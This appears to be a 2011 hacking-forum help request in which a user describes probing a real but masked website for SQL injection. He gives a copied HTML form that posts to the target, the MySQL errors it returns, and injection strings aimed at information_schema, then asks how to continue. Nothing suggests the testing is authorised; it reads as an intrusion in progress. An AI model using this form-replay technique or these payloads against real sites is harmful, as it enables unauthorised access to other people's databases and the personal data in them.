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www.waraxe.us Forum Index -> Sql injection -> Advanced SQL injection [ Help ]
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Advanced SQL injection [ Help ]
PostPosted: Mon Jul 04, 2011 3:14 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




I made this page as it the same ...

Code:
<html>
<form name="AddNewdForm" id="AddNewdForm" action= "http://www.xxx.com/once.php" method="post" enctype="multipart/form-data">
<input type="text" name="etat_civile" value="Mr">
<input type="text" name="Nom_d" id="Nom_d" value="ad">
<input type="text" name="Prenom_d" id="Prenom_d" value="b">
<input type="text" name="Adresse_d" id="Adresse_d" value="c">
<input type="text" name="Commune_d" id="Commune_d" value="xxxxxxxx">
<input type="text" name="Wilaya" id="Wilaya" value="44">
<input type="text" name="Sujet" id="Sujet" value="8">
<input type="text" name="Client_d" value="Oui">
<input type="text" name="Telephone_d" id="Telephone_d" value="04546547">
<input type="text" name="Email_d" id="Email_d" value="dump@hotmail.fr">
<input type="text" name="hiddene_d" id="hiddene_d" cols="55" value="aa">
<input type="submit" name="Submit2" "value="Test!">
<input type="text" name="dAction" id="dAction" value="Add">
</form>
</html>


So I found a SQL bug through data input ( parameter name ) via POST request .. Once i try xxxxxxxx" in the parameter name Commune_d i got the this error message :

Code:

1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '44","8","Oui","046546467","dump@hotmail.fr","","1309734000","16:14:16","41.201.8' at line 1



So ? Its the INSERT INTO command ? right ?


look again here ... When i try this

Code:
0x3e,0x3e) SELECT * from information_schema.tables--
0x3e,0x3e,0x3e) SELECT * from information_schema.tables--
0x3e,0x3e,0x3e,0x3e) SELECT * from information_schema.tables--


It get a normal page .. But here its deffirent

Code:
0x3e,0x3e,0x3e,0x3e,0x3e) SELECT * from information_schema.tables--


1406:Data too long for column 'Email_D' at row 1


So ?
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Advanced SQL injection [ Help ]
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